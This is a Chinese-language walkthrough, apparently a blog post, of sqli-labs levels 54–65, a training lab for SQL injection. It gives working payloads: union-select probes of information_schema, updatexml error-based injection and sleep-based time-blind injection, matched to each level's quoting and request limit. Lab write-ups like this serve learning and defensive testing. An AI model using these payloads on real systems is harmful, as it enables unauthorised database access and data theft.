sqli-libs(54-65关)
Less_54
Less-54:使用’’包裹
对输入的次数做了限制,必须在10次请求之内获取信息,否则会刷新表名


输入:?Id=1’ order by 3--+ 查看有多少列;

输入 ?id=-1' union select 1,2,3 --+ 查看回显位置;

输入 ?id=-1'union select 1,2, group_concat(table_name)from information_schema.tables where table_schema='CHALLENGES' --+ 查看表名;

下面操作和less1基本一致。
Less_55
Less55: 使用()包裹
对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名;
其他操作与第54关基本一致。


Less_56
Less56:使用('’)包裹
对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名;
其他操作与第54关基本一致。


Less_57
Less57:使用””包裹
对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名;
其他操作与第54关基本一致。


Less_58
Less58:使用’’包裹
对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名;


输入 ?id=-1' union select 1,2,3 --+ 并没有显示回显的位置;

所以我们不能使用union select联合查询,我们使用报错注入;
输入 ?id=-1'andupdatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='CHALLENGES')),1) --+ 查表名;

接下来步骤与less1基本一致。
Less_59
Less59:无包裹
对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名;


输入?id=-1 union select 1,2,3 --+ 依旧没有回显位置;

所以同58关相同,使用报错注入。
Less_60
Less60:使用(“”)包裹
对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名;
采用报错注入与第58关基本一致


Less_61
Less61:使用((‘’))包裹
对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名;
采用报错注入与第58关基本一致


Less_62
Less62:使用(‘’)包裹
对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名;
使用时间盲注


输入 ?id=1') and if((length(database())=1),1,sleep(5))--+ 判断数据库的长度;

输入 ?id=1') and if( left( (select table_name from information_schema.tables where table_schema='CHALLENGES' limit 0,1),1)> 's' ,1, sleep(5)) --+ 判断数据库字母是否比s大;

less_63
Less63:使用‘’包裹
对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名;
使用时间盲注,其他操作与第62关基本一致。


less_64
Less64:使用(())包裹
对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名;
使用时间盲注,其他操作与第62关基本一致。


Less_65
Less65:使用(“”)包裹
对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名;
使用时间盲注,其他操作与第62关基本一致。


sqli-libs(54-65关)的更多相关文章
- 靶场练习-Sqli-labs通关记录(1-4关)
0x00 实验环境 本地:Win 10 靶场:sqli-labs(共65关,每日一关) 0x02 通关记录 简介:一天一关! (1)第一关: 简单的 ...
- R语言入门系列1--数学狗还是做数据好了
nanana,作为一个不合格的数学专业学生,脑袋不好使,又穷逼,只好学点儿实用的东西,希望能养活自己~~~ 不瞎哔哔,想做数据方面工作的时候在犹豫是学R还是学python,一点儿python基础都没有 ...
- JavaScript基础知识点
本书目录 第一章: JavaScript语言基础 第二章: JavaScript内置对象第三章: 窗口window对象第四章: 文档document对象第五章: 表单form对象第六章: ...
- MFS分布式文件系统
一.MFS概述: MooseFS(moose 驼鹿)是一款网络分布式文件系统.它把数据分散在多台服务器上,但对于用户来讲,看到的只是一个源.MFS也像其他类unix文件系统一样,包含了层级结构(目录树 ...
- Linux MFS分布式文件系统介绍和安装
MFS分布式文件系统 mooseFS(moose 驼鹿)是一款网络分布式文件系统.它把数据分散在多台服务器上,但对于用户来讲,看到的只是一个源.MFS也像其他类unix文件系统一样,包含了层级结构(目 ...
- 为什么hadoop中用到的序列化不是java的serilaziable接口去序列化而是使用Writable序列化框架
继上一个模块之后,此次分析的内容是来到了Hadoop IO相关的模块了,IO系统的模块可谓是一个比较大的模块,在Hadoop Common中的io,主要包括2个大的子模块构成,1个是以Writable ...
- 一次修改闭源 Entity Provider 程序集以兼容新 EntityFramework 的过程
读完本文你会知道,如何在没有源码的情况下,直接修改一个 DLL 以去除 DLL 上的强命名限制,并在该程序集上直接添加你的“友元程序集(一种特殊的 Attribute,将它应用在程序集上,使得程序集内 ...
- php中用GD绘制折线图
php中用GD绘制折线图,代码如下: Class Chart{ private $image; // 定义图像 private $title; // 定义标题 private $ydata; // 定 ...
- Python基础三. 函数、lambda、filter、map、reduce
一.概述 函数, 就是用一些语句组织起来实现一组特定的功能, 用来重复调用. 函数的作用及意义:最大化的重用代码和最小化的代码冗余以及对流程的分解. Python中有哪些函数: 内建的函数 第三方模块 ...
- 数组 Arrays类
1.数组是一组变量集合,用来存储相同数据类型的一组数据的连续的空间. *数组名(标识符)连续空间首地址. *元素下标标明元素在数组中的位置,从0开始. *每个元素都可以通过下标来访问. *数组长度固定 ...
随机推荐
- Jenkins +Ant +Jmeter(apache-jmeter-5.1.1)自动化性能测试平台
1.安装配置好Jdk, 下载网址:https://www.cr173.com/soft/33894.html 2.Jmeter下载地址:http://jmeter.apache.org/downloa ...
- Spring的代理模式(静态,JDK,CGLIB)
一.静态代理 1.定义业务接口 public interface Subject { void doSomeThing(); } 2.真实业务类实现接口 public class RealSu ...
- Web基础-Uri跟Url的区别
关于URL和URI的区别,个人见解. 初学java,最近被一个概念搞得头晕脑胀,就是url和uri的概念和区别,网上查了一大通,发现各种回答眼花缭乱,有百科直接粘贴的,有胡说八道的,有故意绕来绕 ...
- Laravel通过用户名和密码查询
一.如果要检查要验证的用户数据是否正确,可以使用: if (Auth::validate($credentials)) { // } 二.但是如果您想通过用户和密码从数据库中获取用户,您可以使用: / ...
- pycharm运行RF脚本时的环境搭建与配置
1.安装pycharm:2.file->setting,下载插件intellibot,重启pycharm:3.配置识别RF类型文件,filefile->editor->file ty ...
- ddctf,warm up,web题
1,打开链接,发现下图,hhhh好滑稽啊,鹅鹅鹅鹅ee 2,打开源码发现source.php.添加到路径,再次访问,发现如下代码,来,让我们审计一下. 3,发现有个hint.php,进去看一看,得到一 ...
- 《 Java 编程思想》CH07 复用类
复用代码是 Java 众多引人注目的功能之一. Java 可以通过创建类来复用代码,要在使用类的时候不破坏现有代码,有两种方式: 组合:在新的类中使用现有类的对象. 继承:按照现有类的类型来创建新类, ...
- 【Unity|C#】基础篇(9)——匿名函数 / Lambda表达式
[学习资料] <C#图解教程>(第13章):https://www.cnblogs.com/moonache/p/7687551.html 电子书下载:https://pan.baidu. ...
- Python 排序---sort与sorted学习(这是摘录别人的资源总结,自己可临摹学习)
第一种:内建方法sort() 可以直接对列表进行排序 用法: list.sort(func=None, key=None, reverse=False(or True)) 对于reverse这个boo ...
- hashlib加密模块_python
一.hashlib模块 1.功能 主要用于字符串加密 2.常用方法 md5()/sha1():创建一个md5或者sha1加密模式的hash对象update(arg):用字符串参数来更新hash对象,如 ...